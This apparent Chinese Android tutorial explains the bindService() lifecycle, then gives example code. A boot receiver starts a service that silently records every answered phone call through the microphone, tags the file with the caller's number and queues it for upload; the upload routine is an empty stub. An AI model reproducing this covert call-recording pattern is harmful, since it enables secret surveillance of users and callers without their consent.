采用Context.bindService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onBind()方法,这个时候调用者和服务绑定在一起,如果客户端要与服务进行通信,那么,onBind()方法必须返回IBinder对象,如果调用者退出了,系统就会先调用服务的onUnbind()方法,接着调用onDestroy()方法,如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用),如果调用者希望与正在绑定的服务解除绑定,可以调用nbindService()方法,调用 该方法也会导致系统调用服务的onUnbind() --> onDestroy()方法。
事例:
开机启动监听服务
package com.king.phone; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class BootBroadcastReceiver extends BroadcastReceiver{ private static final String TAG = "PhoneListener"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG, "boot completed received"); Intent service = new Intent(context, PhoneListenService.class); context.startService(service); } }
监听来电信息,并进行录音,上传
package com.king.phone; import java.io.File; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class PhoneListenService extends Service{ private static final String TAG = "PhoneListener"; @Override public void onCreate() { TelephonyManager telManager = (TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE); telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE); Log.i(TAG, "service created"); super.onCreate(); } @Override public void onDestroy() { //清空缓存目录下的所有文件 File[] files = getCacheDir().listFiles(); if(files != null){ for(File f : files ){ f.delete(); } } Log.i(TAG, "service destroy"); super.onDestroy(); } private class TelListener extends PhoneStateListener{ private MediaRecorder recorder; private String mobile; private File audioFile; private boolean record; @Override public void onCallStateChanged(int state, String incomingNumber) { try{ switch (state) { case TelephonyManager.CALL_STATE_IDLE: //无任何状态时 if(record){ recorder.stop(); //停止刻录 recorder.release(); //释放资源 record = false; new Thread(new UploadTask()).start(); //将录音文件上传 } break; case TelephonyManager.CALL_STATE_OFFHOOK: //接起电话时 recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 audioFile = new File(getCacheDir(), incomingNumber + "_" + System.currentTimeMillis() + ".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); recorder.prepare(); //预期准备 recorder.start(); //开始刻录 record = true; Log.i(TAG, "start record"); break; case TelephonyManager.CALL_STATE_RINGING: //电话进来时 mobile = incomingNumber; Log.i(TAG, incomingNumber + " coming"); break; default: break; } }catch (Exception e) { e.printStackTrace(); } super.onCallStateChanged(state, incomingNumber); } } private final class UploadTask implements Runnable{ @Override public void run() { //上传文件操作 } } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } }
AndroidManifest.xml